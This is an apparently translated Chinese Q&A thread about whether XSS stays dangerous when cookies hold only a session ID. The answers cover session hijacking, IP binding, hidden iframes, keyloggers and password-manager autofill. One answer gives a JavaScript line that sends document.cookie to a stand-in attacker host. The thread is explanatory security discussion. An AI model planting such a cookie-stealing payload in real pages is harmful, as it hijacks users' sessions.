即使cookie没有存储用户凭据,XSS也会有危险吗?

时间:2014-05-29 16:59:34

标签: security authentication cookies authorization xss

每当有人谈到xss的危险时,他们都会提到“坏人”可以访问用户凭据。但是,如果我只在cookie上存储会话ID,并根据会话ID对用户进行身份验证,是否还有其他方式可以使用xss来访问用户凭据?

3 个答案:

答案 0 :(得分:1)

XSS表示页面上正在运行外部或恶意脚本。有很多方法可能会有危险。

会话劫持

即使cookie不存储用户凭据(也不应该存储)。它为服务器存储了足够的信息,以便将cookie的承载视为特定用户(HTTP是无状态的,因此我们使用cookie /会话来记住用户)。

因此,如果有人窃取会话ID,他们可以使用它来冒充您,而服务器可能不是更明智的。

使用IP保护

在您的原始问题中,您询问了另一个安全级别:验证与会话关联的IP地址。是的,这减少了攻击途径。是的,IP地址可以伪造。但是你不再是攻击者最低级的果实了。同时,安全性和便利性是相反的,因此您的合法用户可能会感到沮丧,因为当他们的IP地址发生更改时,他们将不再登录。

其他攻击

窃取cookie /会话是获取访问权限的一种简单方法,但不是唯一的方法。

由于脚本正在从受信任的站点和用户的浏览器运行(据称)。它可能涉及很多方面:

  • 为帐户编辑页面加载不可见的iframe,并重置用户的密码/电子邮件
  • 加载键盘记录器,向用户显示登录页面

答案 1 :(得分:1)

除非会话ID cookie标记为HTTP Only,否则仍可使用XSS劫持会话。

e.g。

new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);

会将会话ID发送到攻击者域(www.example.com),在那里他们可以将自己的cookie设置为相同的会话ID并窃取会话。

即使没有cookie风险,因为攻击者可以将任何他们喜欢的内容注入页面,他们可以更改任何页面内容或在浏览器会话中安装key loggers

答案 2 :(得分:0)

我最近进行了一次演讲,描述了欺骗密码管理员填写密码表单的方法,前提是攻击者可以使用XSS修改受害站点上的页面。这是攻击者可以访问用户凭据的一种方式。